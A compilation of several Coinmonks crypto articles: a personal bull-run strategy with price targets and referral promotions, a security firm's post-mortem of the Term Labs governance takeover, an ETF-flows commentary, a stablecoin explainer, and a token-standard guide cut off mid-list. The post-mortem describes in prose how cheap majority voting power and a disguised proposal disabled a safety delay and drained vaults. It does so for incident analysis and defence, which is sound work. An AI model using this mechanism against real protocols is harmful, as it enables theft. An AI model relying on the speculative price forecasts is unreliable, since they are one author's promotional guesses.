I am not ready to divulge all the specifics just yet, as my strategy is likely to evolve as we near the end of the bear market. That said, here is the gist of it:

• I have purchased 30% of my portfolio into spot BTC, ETH and SOL.
• I maintain about 10% of my portfolio in Altcoins I have held through the bear, and newly acquired ones soon to be launched ($XBG, $PROPR, $JUP, $BORG mainly)
• I have started to accumulate my options positions, in a careful measured manner as I still expect some volatitlity heading into the midterm US elections (could see a short term pullback in crypto)
• I will deploy the remaining cash hard into BTCC.B and ETHH and bSOL long dated options (Mar 2029) in the even we get a pullback into the low 70s or high 60’s in Bitcoin.
• I will not try to hit the exact bottom, or else I would simply be permanently sidelined for fear of missing it. DCA over the next 4–8 weeks.
• In the event we do not get a pullback by mid Nov 2026, I will deploy in fully regardless.

Bullrun Targets:

I do believe Bitcoin will have a solid bull run, but also concede that dimishing returns are a mathematical reality.

BTC Targets:

• Bear Case: $200K
• Base Case: $250K
• Bull Case: $300K
• Outside Chance (5–10%) : $500K + , Fundamental structural change yields a massive BTC bull run where sovereign funds are acquiring BTC for national security as fiat money begins to overdose on debt.

ETH and SOL are more difficult to predict, particularly given the capital drain from AI stonks and Meme coins.

That said, I believe ETH has a shot at some redemption here as corporations and large entities gravitate towards L2 chain they can customize and control. I will refine these targets in the coming months as Robinhood chain and Solana play out their game of meme coin capture, and provide them by year-end in an update article.

Conclusion:

To be frank, the real talent at this point is to ignore all the noise on crypto X, and make a plan and stick to it. If you are like me, this big move up caught you somewhat off guard, and perhaps more sidelined that you would like. I have had a battle with the FOMO demons for weeks now, and winning that battle is what will set the stage for huge gains.

The timeline is far too bullish, and my expectation at this point is that we take a bit of a breather and pull back into the low 70K, or high 60K range BTC, at which point I will not try to time my entries but will buy hard in expectation of a big 2027 and 2028. Then sit back, stomach the volatilty, and cash in in a couple years while 90% of crypto X is trying to predict the hourly charts and missing the 300–400% gains on spot BTC (and 1000%–1500% on call options)

Good luck out there, and see you on the next one!

Sovereign Crypto (aka RickyBobby)

I release regular altcoin and crypto updates, subscribe for more info and to keep up to date!

Ref Codes and Deals:

• Try a Trading Challenge and Trade up to $100K of Company Funds on PROPR.xyz.
• Swissborg (Amazing auto trading strategies)

400% return on most recent trade 🔥…

Social Media:

• Twitter (X) https://twitter.com/fourthesauri

Disclosures:

• I own or am accumulating the above mentioned tokens/investments.
• Not financial advice.
• I rebalance my portfolio occasionally and the above may change from time to time.

The Bull Run is Quietly Loading was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

On August 23, 2026, an attacker used roughly half an ETH to acquire majority governance control over Term Labs Meta Vaults, then passed a routine-looking proposal that disabled the vault’s transaction delay and drained six vaults. No key was stolen and no core vault code was broken: with almost no one else voting, the attacker simply became the governance, extracting 2,841.74 WETH and 1,679,639 USDC, about $8.5 million, later swapped to DAI.

Protocol Background

Term’s Strategy Vaults are ERC-4626 vaults built on Yearn V3 infrastructure, governed through Aragon TokenVoting. Voting power isn’t tied to vault deposits directly: to get it, a depositor has to wrap their vault shares into a separate governance token, an extra opt-in step almost nobody took. A Zodiac Delay module was meant to sit between an approved governance proposal and its execution, giving roughly a week’s cooldown before anything it authorized could actually run.

Hack Analysis

Term’s voting power came from wrapping vault shares into a separate governance token, and almost no one bothered. On the ETH Meta Vault the total wrapped supply was just 0.5352 tokens, across the USDC vaults it was similarly thin. A depositor putting in about 0.5 ETH and wrapping the resulting shares ended up holding 0.4852 of that ETH Meta Vault supply, about 90.7%, while a separate wallet held all of the active voting power across all seven USDC vault proposals it opened.

Because the minimum proposer voting power was set to zero, opening a proposal cost nothing beyond gas. The attacker filed a proposal titled Veto strategy vault parameter change, using the exact wording the curator used for routine parameter updates, so it read on the surface like an ordinary item up for a veto vote rather than an attack.

Underneath that title sat 17 actions. The first three reset the Zodiac Delay module’s roughly seven-day cooldown and expiration to zero and handed control of it to an attacker-controlled executor. The rest recalled capital from all four of the ETH Meta Vault’s real strategies, deployed a new strategy called Fixed Recipient WETH Exit Strategy, gave it a debt ceiling of uint256 max, and routed the vault's balance into it.

Six days later, with the voting window closed and almost nobody having voted against a majority the attacker already held, the proposal became executable. At about 06:25 UTC on August 23, the attacker called executeProposal(), recalling WETH from four strategies and pulling roughly 2,841.74 WETH out through the planted strategy contract.

Twenty-two minutes later, a second attacker wallet ran the identical playbook against five USDC vaults in a single transaction, where it held all of the voting power across every proposal it had opened on those vaults. That transaction drained approximately 1,679,639 USDC, which was later swapped into DAI.

Root Cause

This wasn’t a bug in Term’s core vault code. The root failure is that voting power depended on an opt-in wrapping step almost nobody took, so a deposit worth a few hundred dollars was enough to become the effective government of vaults holding millions, and that governance had the authority to disable its own safety delay.

The formal governance settings, a 50% support threshold, 5% minimum participation, and a roughly six-day voting window, weren’t reckless on their own, but they meant nothing once one wallet held almost all the active voting power. A zero minimum proposer-power requirement meant opening the proposal cost nothing, and the proposal’s own opening actions could reset the Zodiac Delay module’s cooldown and expiration to zero, removing the one control meant to slow exactly this kind of action before it executed.

Whether the delay module’s exposure to governance was an intentional design choice or a distinct authorization failure hasn’t been publicly explained.

How QuillAudits Governance Review Could Have Prevented This

Governance participation and concentration monitoring. A review should flag when a governance token’s actively-wrapped supply is thin enough that a small deposit can cross a majority threshold, and require a minimum active-participation floor before proposals gain force, not just a percentage-of-supply threshold.

Scope-limit what governance can touch. The Zodiac Delay module existed specifically to slow dangerous actions, but the same governance process could reset its own cooldown and expiration. A review would flag any proposal-executable action that can modify the safeguard meant to gate proposal-executable actions, and wall that off behind a separate, higher-friction control.

Title and content review for proposals, not just code review. A malicious proposal disguised as a routine curator veto item passed unnoticed for six days. Requiring a structured, machine-checkable diff of what a proposal actually changes, surfaced independently of its title, would have caught the delay-module reset regardless of what the proposal was called.

Funds Flow After Attack

2,841.74 WETH and 1,679,639 USDC(swapped to DAI) drained from the vaults converged at a single address, 0xD5183d8BfC65a50863C62aF2538198A8288FFc13.

Stolen USDC was swapped into DAI and then transfer to another address 0x9210130f81c84d028DB83701fF379A79c9365135, and then swapped to ETH and deposited into tornado cash.

Since then, major ETH didn’t moved from attacher wallet, 300 of it moved out of the consolidation address to 0xC14007663A5bb9F13d4d2AEE8c6FE9075eF1d83e, and deposited to tornado cash.

Post-Attack Mitigation

Term Labs posts its first public acknowledgment, confirming a governance exploit hit its vaults, without giving a loss figure or technical explanation.

Term Labs follows up, confirming all Term Meta Vaults have been shut down and their DAO governance roles revoked, an irreversible step that blocks new deposits while leaving withdrawals open.

Relevant Addresses and Transactions

Attacker Wallets / EOAs

• ETH Meta Vault attacker 0xa908b3472d76e7744baB0A5911768a4a6300612B
• USDC vaults attacker, held 100% of the voting power across seven proposals, executed the second drain: 0x686457a7468b9b31c5dba43b1b16077b48520691
• Consolidation address, holds the bulk of the drained WETH and DAI: 0xD5183d8BfC65a50863C62aF2538198A8288FFc13
• Received 300 ETH from the consolidation address before cashing out through Tornado Cash: 0xC14007663A5bb9F13d4d2AEE8c6FE9075eF1d83e

Key Transactions

• ETH Meta Vault proposal execution, 2,841.74 WETH drained: 0xd354a15b15cb73d30908f411aee3f795ec86737a4d080e9a818ac4d6d3014129
• USDC vaults proposal execution, 1,679,639 USDC drained across five vaults: 0x9f273f9a5a20c2fc957b06bbfa45db486390eede4a7f44fbe1a2eb6744c2e8a0
• Additional attack transaction: 0x284fc544f39c21388e17ca9669970dda9fe0f31921c38676f56073573f73a8b8
• Additional attack transaction: 0xca084d94891f0709ad56dd8dad8aa052685e472a0f3773ec84b29da0b4102510

Conclusion

No key was stolen and no line of core vault code was broken. Almost nobody wrapped their shares into Term’s governance token, so a deposit worth a few hundred dollars was enough to become the majority, and that majority had the authority to disable the one mechanism built to slow it down. The vault executed exactly what its governance authorized, the governance itself was the vulnerability. A safeguard that governance can switch off isn’t a safeguard, it’s a formality waiting for someone to notice nobody’s watching.

Originally Posted at Quillaudits

Term Labs $8.5M Governance Takeover Exploit (Explained) was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Bitcoin ETF flows turned negative just as Ethereum extended its winning streak. The crypto market may be entering a rotation, not a reversal.

Bitcoin spent most of August rebuilding momentum.

It pushed back toward $80,000.

Institutional money returned.

Crypto sentiment improved dramatically.

Then something changed.

On August 28, U.S. spot Bitcoin ETFs recorded $219 million in net outflows, ending a nine-session streak of inflows. At almost exactly the same time, Ethereum ETFs recorded another $102 million of inflows, extending their positive streak to ten sessions.

That divergence is far more interesting than another Bitcoin price target.

Because it raises a question the market hasn’t been asking enough:

What if money isn’t leaving crypto — but simply moving around inside it?

Bitcoin’s Momentum Has Slowed

Bitcoin is still trading around the mid-$70,000s, but the market has clearly lost some of the momentum that pushed BTC above $80,000 earlier in the month.

That doesn’t automatically mean the rally is over.

Markets rarely move in a straight line.

But the ETF data is worth watching.

After nine consecutive sessions of inflows, Bitcoin ETFs suddenly saw $219 million leave in a single day.

That is a meaningful change in positioning.

And it comes at exactly the moment when the broader macro environment is becoming more complicated.

Ethereum Is Telling a Different Story

While Bitcoin experienced its first ETF outflow after nine positive sessions, Ethereum continued attracting capital.

ETH ETFs recorded approximately $102 million in net inflows on August 28, extending their inflow streak to ten sessions.

Even more strikingly, Ethereum ETFs recorded about $225.8 million of inflows on August 27, their strongest single-day inflow in roughly ten months.

This creates an unusual situation.

Bitcoin is cooling.

Ethereum is attracting capital.

And the rest of the market is beginning to respond.

That doesn’t necessarily mean an “altseason” is coming.

But it does suggest that investors may be becoming more selective.

The Market May Be Moving From Bitcoin Beta to Crypto Exposure

During the early stages of a recovery, Bitcoin usually gets the attention first.

It has the largest liquidity.

It has the strongest institutional recognition.

It is the easiest digital asset for traditional investors to access.

But once confidence returns, capital can begin looking for higher-growth opportunities.

That is where Ethereum becomes interesting.

Investors may increasingly be asking:

If Bitcoin has already recovered significantly, where is the next opportunity?

For some, the answer may be Ethereum.

This Is Why ETF Flows Matter More Than Social Media Sentiment

Crypto Twitter can change its mind in minutes.

ETF allocations usually don’t.

That is why institutional flows can provide a much cleaner signal about market positioning.

The recent divergence is particularly important:

Bitcoin ETF flows: negative

Ethereum ETF flows: positive

That doesn’t tell us where prices will go next.

But it tells us that institutional demand is not behaving uniformly across the market.

And whenever capital starts moving differently between major assets, investors should pay attention.

The Macro Environment Is Getting More Difficult

There is another reason the current market is interesting.

Global risk sentiment is deteriorating.

Fresh fighting between the United States and Iran has pushed oil prices higher, with Brent crude rising above $89 per barrel. At the same time, Treasury yields remain elevated and markets have increased expectations for a September Federal Reserve rate hike.

That is not an ideal backdrop for speculative assets.

Higher oil prices create inflation pressure.

Higher inflation can keep interest rates higher.

Higher rates can strengthen the dollar.

And a stronger dollar can put pressure on crypto.

Yet Ethereum is still attracting institutional capital.

That makes the current ETH strength more interesting.

The Bitcoin Story Is Also Changing

Bitcoin’s August rally was partly driven by what investors called the “debasement trade” — the idea that persistent inflation, government debt and fiscal concerns could weaken the long-term purchasing power of fiat currencies.

Bitcoin and gold both benefited from that narrative earlier in the month.

But now the market is confronting a different reality.

If inflation pressure rises again and central banks become more hawkish, the debasement narrative can collide with higher real yields.

That creates a much more complicated environment for Bitcoin.

In other words:

Bitcoin’s long-term story may remain strong while its short-term macro environment becomes harder.

Those two things can be true at the same time.

The Most Interesting Question Is No Longer “Bull or Bear?”

Crypto markets love binary questions.

Bull market.

Bear market.

Risk-on.

Risk-off.

But the current environment doesn’t fit neatly into either category.

Bitcoin can consolidate.

Ethereum can outperform.

ETF flows can rotate.

Altcoins can selectively rally.

Macro conditions can remain difficult.

All of these things can happen simultaneously.

That’s why the next phase of crypto may be less about one giant market-wide move and more about capital rotation.

Could Ethereum Become the Next Institutional Trade?

Ethereum has already spent years trying to move beyond its identity as simply “the second-largest cryptocurrency.”

The ETF data suggests investors may be beginning to treat it differently.

If ETH ETF inflows remain strong while Bitcoin ETF demand cools, the market could start asking a much bigger question:

Is institutional crypto exposure expanding beyond Bitcoin?

That would be significant.

Because Bitcoin becoming institutionalized was the first major step.

Institutional adoption of Ethereum at scale would represent another.

But Don’t Call It Altseason Yet

This is where investors should remain disciplined.

One week of stronger ETH flows does not automatically mean the entire altcoin market is about to explode.

The market still needs to see:

• Sustained ETH outperformance
• Continued ETF inflows
• Broader liquidity
• Higher trading activity
• Stronger participation across major assets

Without those signals, the current move could simply be temporary rotation.

The difference will become clearer over the next few weeks.

What Should Investors Watch Now?

Forget the next $5,000 Bitcoin prediction for a moment.

Watch these four things instead.

1. Bitcoin ETF flows

Do outflows continue, or was August 28 simply a one-day reversal?

2. Ethereum ETF flows

Can ETH maintain its ten-session inflow streak?

3. The dollar and Treasury yields

If yields continue rising, crypto may face stronger macro pressure.

4. Oil prices

Geopolitical tensions are becoming an increasingly important inflation variable.

These four signals may tell us more about the next crypto move than any influencer’s price target.

Final Thoughts

Bitcoin’s recent rally created a powerful narrative.

But the latest data is forcing the market to reconsider it.

Bitcoin ETF flows have finally turned negative after nine consecutive sessions of inflows.

Ethereum ETF flows are still positive after ten sessions.

Meanwhile, oil prices are rising, Treasury yields remain elevated, and expectations for a September Fed hike have increased.

This is not necessarily a bearish story.

It may be something more interesting.

The crypto market could be entering a rotation phase.

Bitcoin led the recovery.

Now investors are looking for the next place to put capital.

If Ethereum continues absorbing institutional money while Bitcoin consolidates, the next major crypto story may not be another Bitcoin breakout.

It may be the moment when institutional investors finally start treating crypto as an asset class rather than Bitcoin as a single asset.

And if that happens, the market could become much more interesting than simply watching BTC move toward another round number.

The next crypto trade may not be about chasing the biggest coin.

It may be about discovering where the next wave of capital is going.

About SoonTech

SoonTech follows the global digital asset market, Web3 trends, and the developments reshaping the future of digital finance.

🌐 www.soontech.info

#SoonTech #Bitcoin #BTC #Ethereum #ETH #Crypto #CryptoMarket #BitcoinETF #EthereumETF #Web3 #Blockchain #DigitalAssets #CryptoNews

Bitcoin’s Rally Just Hit a Wall — But Ethereum Is Sending a Different Signal was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

TLDR: These five tokens all sit at about a dollar, and only three of them are backed by dollars. USDC and USDT are cash and government debt held by a company. USDG is the same idea run by a consortium. DAI is backed by crypto locked in a protocol. USDe is not backed by dollars at all; it holds its price through a hedged trading position.

They are not interchangeable, and the differences show up exactly when markets are stressed. Here is what each one actually is.

What actually backs a stablecoin?

A stablecoin holds its value because something stands behind it, and there are four different answers to what that something is.

Fiat-backed, single issuer. A company holds cash and short-term government debt and issues tokens against it. USDC and USDT.

Fiat-backed, consortium. Same reserves model, run by a group of institutions rather than one company. USDG.

Crypto-collateralised. A protocol holds crypto worth more than the tokens it issues, and the excess absorbs price swings. DAI.

Synthetic. No dollars anywhere. The token holds its price through a trading position that gains when one leg loses. USDe.

Most people never learn which one they are holding, and the four behave very differently under pressure.

USDC on Ethereum and Arbitrum

USDC is issued by Circle, a US company, and is backed by cash and short-dated US Treasuries with monthly reserve attestations. It is the most widely accepted dollar token in DeFi, and the one most lending markets treat as the default.

Circle issues USDC natively on both Ethereum and Arbitrum, meaning Circle mints it directly on each chain rather than a bridge issuing a copy.

Before Circle launched native USDC on Arbitrum, the chain used a bridged version, usually written USDC.e. Both still circulate. They trade at the same price, and they are separate contracts, so a protocol expecting one will not accept the other. If an interface offers you “USDC on Arbitrum,” check whether it means Circle’s or the bridged one. This single detail causes more confusion than anything else in this article.

USDT on Ethereum and Arbitrum

USDT is issued by Tether and is the largest stablecoin by supply. Its reserves are heavily weighted toward US Treasuries, to the point that Tether is now among the largest holders of US government debt in the world, ahead of many countries.

The long-standing criticism of USDT is that Tether has published attestations rather than full audits, so the reserve disclosure is thinner than Circle’s. Nothing has broken and the token has survived several cycles, and both things are true at once. It has the deepest liquidity in crypto and the least transparency of the fiat-backed three.

USDG on Robinhood’s chain

USDG is the Global Dollar, issued by Paxos and distributed through the Global Dollar Network, a consortium of exchanges and fintechs rather than a single issuer.

The interesting part is the business model. With USDC and USDT, the issuer keeps the interest earned on the reserves. USDG shares that revenue with the network partners who distribute it. That is why platforms have an incentive to adopt it, and it explains why Robinhood would put it on a chain of its own.

And Robinhood’s chain? Robinhood launched an Ethereum Layer 2 in July 2026, aimed at tokenised stocks, with a user base of around 23 million to draw from. It held roughly $70 million a few weeks in, which is a reasonable starting point for something that new. The relevant point for you is that it is new: fewer applications, thinner liquidity, and a shorter track record than Ethereum or Arbitrum. USDG is the dollar you use there.

USDe on HyperEVM, and why it is different

USDe is issued by Ethena, and it is the one on this list that most deserves a careful read, because it is not a fiat-backed stablecoin and people routinely assume it is.

There are no dollars in a bank behind USDe. Ethena holds crypto and simultaneously holds an equal-sized short position in perpetual futures against it. If the crypto falls, the short gains. If the crypto rises, the short loses. The combined value stays roughly flat in dollar terms, which is what holds the peg. This is called a delta-neutral position, and it is a real, well-understood trading strategy rather than anything exotic.

The yield, for holders of the staked version, comes from two places: staking rewards on the collateral, and funding payments that shorts receive from longs when perpetual markets skew bullish.

The risks are structurally different from USDC’s, and worth stating plainly:

• Funding can go negative. When it does, the short pays instead of receives, and the yield inverts into a cost. Sustained negative funding erodes the backing.
• The hedges sit on trading venues. That introduces counterparty exposure to those venues, which is a different risk from a custodian holding cash.
• It depends on liquid derivatives markets. In a crisis, the exact moment you would want to exit, those markets are least reliable.

Ethena has been open about all of this and the design is documented rather than hidden. But if your reason for holding a stablecoin is “I want something that cannot move,” USDe is a different product from USDC and should be sized accordingly.

DAI on Ethereum

DAI is issued by a protocol rather than a company. Users lock crypto collateral worth more than the DAI they mint, and that overcollateralisation absorbs price movement. It has been running since 2017 and is the oldest widely used decentralised stablecoin.

The use case is DeFi-native and censorship-oriented. There is no company that can freeze your DAI the way a centralised issuer can freeze its own token, which matters to some holders a great deal and not at all to others.

One honest complication. A substantial share of DAI’s backing has, at various times, been USDC held in its peg stability mechanism. A decentralised stablecoin substantially backed by a centralised one is a real tension, and the protocol has been publicly debating it for years. Also worth knowing: MakerDAO rebranded to Sky and introduced USDS as an upgraded token. DAI continues to exist alongside it.

The five at a glance

How do you actually get these tokens?

There are two ways, and the right one depends entirely on what is in your wallet right now.

1. Buy it and withdraw it

If you already hold an exchange account, this is usually the cheapest route for USDC, USDT and DAI on Ethereum. Buy on Coinbase, Kraken or Binance, withdraw to the chain you want, done. No bridge, no swap, no extra contract to trust. Anyone routing you around this step is selling something.

It stops working for the newer tokens. USDG on Robinhood’s chain and USDe on HyperEVM are not general exchange withdrawal options, so for those you need one of the routes below.

2. Swap what you already hold

This is the common case. You hold Bitcoin, or dollars on the wrong chain, and you want one of these five somewhere specific.

Circle’s CCTP handles native USDC between chains, including Ethereum and Arbitrum. It burns on the source chain and mints on the destination, so you receive genuine native USDC rather than a bridged copy. Note the asymmetry while you are here: USDC has an official cross-chain rail and USDT does not, so moving USDT between chains always means trusting a bridge.

Garden Finance reaches all five, and it is the widest on the side most guides ignore, which is what you are swapping from.

On the destination side, it covers USDC and USDT on both Ethereum and Arbitrum, USDG on Robinhood, USDe on HyperEVM, and DAI on Ethereum.

On the source side, it takes native BTC and Litecoin, every wrapped Bitcoin version worth naming, including cbBTC, WBTC, BTCB, uBTC, kBTC, BTC.b and strkBTC, and the peg-enforced BTC on Botanix and Spark. It also swaps between the five stablecoins themselves across chains. That matters because most bridges expect you to arrive already holding an EVM token, so if what you actually own is Bitcoin sitting on Bitcoin, they want you to wrap it first, and that is an extra step with its own fee.

LI.FI is an aggregator. It runs no bridge itself, compares routes across many, and picks one. Broad coverage and competitive pricing, and your exposure on any given swap is whatever underlying route it selected rather than an average of the options it considered.

Three worked paths

“I hold USDC on Ethereum and want it on Arbitrum.” CCTP is built for exactly this, since you are moving one asset between chains rather than swapping two. Garden also runs the route, and LI.FI will price several options for you. Whichever you use, confirm you are receiving Circle’s native USDC on Arbitrum and not the older bridged USDC.e.

“I hold Bitcoin and want USDC on Arbitrum.” One swap through Garden or LI.FI gets you there directly from native BTC. The alternative is selling BTC on an exchange, buying USDC, and withdrawing to Arbitrum, which is often cheaper if you already hold the account and slower if you do not. Either way this is a disposal of your Bitcoin for tax purposes, and the tax event happens here rather than when you eventually cash out.

“I hold Bitcoin and want USDe on HyperEVM.” Fewer routes reach this one, because HyperEVM is newer and USDe is not a general exchange withdrawal option. A direct swap avoids a two-step path where you first acquire a dollar token elsewhere and then bridge it in, and each step you remove is one fewer fee and one fewer thing to get wrong. Before you do it, re-read the USDe section above, because you are moving into a synthetic dollar rather than a reserve-backed one.

If you already hold dollars, CCTP or an exchange usually wins. If you hold Bitcoin or anything else, a swap route saves you a step and a set of fees.

What to check before you move

Read the ticker, not the label. Especially on Arbitrum, where native USDC and bridged USDC.e both exist.

Check what the destination accepts. Protocols list specific contracts, not “a dollar.”

Budget gas on arrival. Roughly $5 of the destination chain’s native asset for most EVM chains, less on HyperEVM.

Match the token to the job. If you want something that does not move, a fiat-backed token is the simpler choice. If you want yield, understand where it comes from before you take it.

Remember conversions are taxable. Arriving from BTC or another asset is a disposal in most jurisdictions.

FAQ

Is USDe a stablecoin?
It holds a dollar peg, and it does so through a hedged trading position rather than dollar reserves. Treating it as equivalent to USDC is the mistake to avoid.

Is USDC on Arbitrum the same as USDC on Ethereum?
Circle’s native USDC is the same asset issued on both chains and moves between them through CCTP. The older bridged USDC.e on Arbitrum is a separate token.

Which of these is safest?
All five carry risk and none is risk-free. The fiat-backed ones have the simplest failure story and the most regulatory oversight. DAI removes the single-issuer freeze risk and adds collateral and protocol risk. USDe adds market structure risk that the others do not have.

Why would I use USDG over USDC?
Mostly because you are on Robinhood’s chain and it is the dollar there. As a general-purpose holding, USDC has far more history and far wider acceptance.

Can I redeem these for actual dollars?
Usually not directly. Circle, Tether and Paxos redeem for institutional accounts, not for someone with a few hundred dollars in a wallet. Everyone else sells on a market, so liquidity on your chain matters as much as reserves do.

Five Stablecoins, Four Chains: What Each One Is and How to Get It was originally published in Coinmonks on Medium, where people are continuing the conversation by highlighting and responding to this story.

Choosing the right blockchain and token standard is one of the most important decisions when launching a crypto token. Two of the most widely recognized options are ERC-20 on Ethereum and BEP-20 on BNB Smart Chain. Both support fungible tokens, smart contracts, decentralized applications, wallets, exchanges, and DeFi ecosystems, but they differ in network environment, transaction economics, ecosystem characteristics, and development considerations.

So, ERC-20 vs BEP-20: which is better for token development?

The answer depends on the project’s objectives. ERC-20 can be a stronger choice for projects prioritizing Ethereum’s extensive ecosystem, deep integration opportunities, and established infrastructure. BEP-20 can be attractive for projects seeking an EVM-compatible environment with comparatively lower transaction costs and fast execution.

This guide compares ERC-20 and BEP-20 across architecture, features, development, gas costs, security, ecosystem compatibility, scalability, use cases, and deployment considerations to help businesses select the appropriate token standard.

What Is ERC-20?

ERC-20 is the standard interface for creating fungible tokens on Ethereum. Fungible means that each unit of a token is interchangeable with another unit of the same token.

The ERC-20 standard defines a common set of functions and events that applications can use to interact with tokens. These include functions for transferring tokens, checking balances, approving spending allowances, and transferring tokens on behalf of another address. Ethereum’s official documentation describes ERC-20 as a standard for fungible tokens and highlights its interoperability with applications throughout the Ethereum ecosystem.

Typical ERC-20 use cases include:

• Utility tokens
• Governance tokens
• DeFi tokens
• Staking tokens
• Payment tokens
• Reward tokens
• Stablecoins
• Tokenized assets

The importance of ERC-20 is not simply that it provides a way to create tokens. Standardization allows wallets, decentralized exchanges, DeFi protocols, and other applications to interact with compatible tokens without requiring a completely different integration model for every asset. Ethereum specifically notes that token standards improve composability and compatibility across wallets, exchanges, and decentralized applications.

What Is BEP-20?

BEP-20 is the standard used for creating fungible tokens on BNB Smart Chain (BSC).

BEP-20 was derived from the ERC-20 model and provides many familiar token functions, including transfer, approve, transferFrom, balanceOf, totalSupply, allowance, name, symbol, and decimals. The official BNB Chain specification describes BEP-20 as a token standard derived from ERC-20 and designed for token contracts on BNB Smart Chain.

Because BNB Smart Chain is EVM-compatible, developers familiar with Ethereum and Solidity can use similar development concepts when creating BEP-20 tokens.

BEP-20 tokens are commonly used for:

• Utility tokens
• DeFi projects
• Gaming ecosystems
• Community tokens
• Reward systems
• Stablecoins
• Meme coins
• Governance tokens
• Web3 applications

BNB Chain also highlights fast block times, low transaction costs, EVM compatibility, and access to centralized and decentralized exchange infrastructure as benefits of launching tokens on BNB Smart Chain.

ERC-20 vs BEP-20: Quick Comparison

The table provides a high-level comparison, but the best choice depends on the project’s intended users, liquidity strategy, application architecture, geographic market, tokenomics, and long-term ecosystem requirements.

ERC-20 vs BEP-20: What Is the Main Difference?

The biggest difference is the blockchain ecosystem on which the token operates.

ERC-20 tokens are deployed on Ethereum, while BEP-20 tokens are deployed on BNB Smart Chain.

However, the distinction is more nuanced than simply choosing one token standard over another. Both standards provide a familiar fungible-token interface, and BEP-20 was explicitly derived from ERC-20.

The practical differences come from the networks themselves.

Ethereum has a large and mature developer, DeFi, wallet, infrastructure, and application ecosystem. BNB Smart Chain focuses on EVM compatibility, efficient transactions, and a comparatively lower-cost environment.

Therefore, businesses should select the token standard based on the ecosystem in which they want their token to operate, rather than selecting a standard only because it is technically popular.

ERC-20 vs BEP-20: Feature Comparison

1. Blockchain Ecosystem

Ethereum is one of the most established smart contract ecosystems. ERC-20 benefits from extensive infrastructure and compatibility with a large number of decentralized applications.

Ethereum’s token standards are designed around composability, allowing standardized tokens to interact with other smart contracts and applications.

BEP-20 operates within the BNB Smart Chain ecosystem. Its EVM compatibility makes it familiar to Ethereum developers and simplifies the migration of many Ethereum-oriented development patterns to BNB Smart Chain.

Winner: It depends on your target ecosystem.

Choose ERC-20 when Ethereum is central to your product strategy. Choose BEP-20 when BNB Smart Chain is the primary ecosystem.

2. Transaction Costs

Transaction costs are an important consideration for token projects.

Ethereum transaction fees can vary according to network conditions and transaction demand. For applications involving frequent token transfers, staking, gaming interactions, or other high-volume activities, transaction economics can have a significant effect on the user experience.

BNB Smart Chain is commonly selected for applications seeking lower-cost transactions. BNB Chain itself promotes low transaction costs as one of the advantages of developing on its network.

However, businesses should avoid treating transaction cost as a permanent fixed number. Gas prices fluctuate, and actual costs depend on network conditions, transaction complexity, and the amount of computation required by the smart contract.

Winner for cost-sensitive applications: BEP-20.

3. Transaction Speed

Transaction confirmation and execution speed can influence applications that require frequent interactions.

BNB Chain states that BNB Smart Chain has approximately three-second block times and positions the network for fast execution.

Ethereum has also evolved significantly, and transaction experience should be evaluated based on the specific application, network conditions, and whether the project uses Ethereum mainnet or an Ethereum-compatible Layer 2.

Therefore, businesses should not evaluate speed solely by comparing Layer 1 block times. A professional token development assessment should consider the complete transaction architecture.

Winner for a straightforward Layer 1 cost-and-speed-focused deployment: BEP-20.

4. Smart Contract Development

Both ERC-20 and BEP-20 token development can use Solidity and EVM-compatible development workflows.

For ERC-20 development, OpenZeppelin provides reusable implementations and extensions for functions such as burning, pausing, capped supplies, permits, cross-chain functionality, voting, and tokenized vaults.

This modular approach allows developers to avoid unnecessarily building common token functionality from scratch.

BEP-20 development similarly benefits from the familiarity of EVM development and the standard’s ERC-20-derived interface.

Winner: Tie.

The development experience depends more on the team’s expertise, architecture, security practices, and required functionality than on the token standard alone.

5. Wallet Compatibility

Both ERC-20 and BEP-20 tokens can integrate with widely used EVM-compatible wallets.

However, developers must configure the correct network when interacting with tokens. A token deployed on Ethereum does not automatically become a BEP-20 token simply because the same contract logic is deployed elsewhere.

This distinction matters during wallet integration, exchange integration, token transfers, and user onboarding.

Winner: Tie for EVM wallet compatibility, with the final decision depending on the target network.

6. Exchange and DeFi Integration

Ethereum has a highly mature DeFi ecosystem and extensive integration infrastructure.

ERC-20 compatibility is particularly valuable when a project wants to interact with Ethereum-based decentralized exchanges, lending protocols, staking applications, wallets, and other smart contracts.

BEP-20 tokens can similarly participate in the BNB Chain ecosystem and integrate with applications built around BNB Smart Chain.

The important point is that token-standard compatibility does not automatically guarantee exchange listing or DeFi integration. Each platform has its own listing, technical, liquidity, security, and compliance requirements.

Winner: ERC-20 for the broadest Ethereum-centered ecosystem; BEP-20 for BNB Chain-focused applications.

ERC-20 vs BEP-20 for Different Token Use Cases

DeFi Token Development

For a DeFi protocol that is designed around Ethereum liquidity and Ethereum-native protocols, ERC-20 is usually the natural choice.

For a DeFi project designed specifically around BNB Smart Chain, BEP-20 can provide an efficient environment for token transfers and application interactions.

Recommendation: Select the blockchain where your core DeFi ecosystem already exists.

Stablecoin Development

Stablecoins require more than a token contract. Developers need to consider reserves, minting and redemption controls, custody, compliance, oracle architecture where applicable, transparency, and operational security.

ERC-20 may be appropriate for an Ethereum-centered stablecoin ecosystem, while BEP-20 can be suitable for a BNB Chain-focused stablecoin deployment.

Recommendation: Select the network based on liquidity, target users, regulatory model, integrations, and redemption infrastructure.

Gaming Token Development

Gaming applications can generate many transactions, making transaction economics important.

A BNB Smart Chain deployment can be attractive when frequent token transactions and cost sensitivity are important.

However, Ethereum Layer 2 networks may also be relevant for gaming projects depending on the desired ecosystem and architecture.

Recommendation: Compare the total application architecture rather than choosing solely between Ethereum mainnet and BNB Smart Chain.

Governance Token Development

Governance tokens need reliable wallet, smart contract, voting, and DeFi integrations.

ERC-20 provides a mature standard interface and can be extended with governance-related functionality. OpenZeppelin’s current ERC-20 library includes extensions such as ERC20Votes.

Recommendation: ERC-20 is particularly suitable when governance is deeply connected to Ethereum infrastructure.

Meme Coin Development

Meme coin projects often prioritize launch cost, liquidity accessibility, community participation, and trading infrastructure.

BEP-20 can be attractive when minimizing deployment and transaction costs is an important objective.

ERC-20 can be more appropriate when the project wants to build around Ethereum’s broader ecosystem.

Recommendation: BEP-20 for cost-focused launches; ERC-20 for Ethereum-focused ecosystem ambitions.

Security: ERC-20 vs BEP-20

Neither ERC-20 nor BEP-20 automatically makes a token secure.

Security depends on the smart contract implementation, access-control design, upgradeability model, administrative privileges, tokenomics, deployment process, oracle dependencies, external integrations, and testing methodology.

A token contract can follow a standard and still contain serious vulnerabilities.

A professional token development process should include:

• Requirements analysis
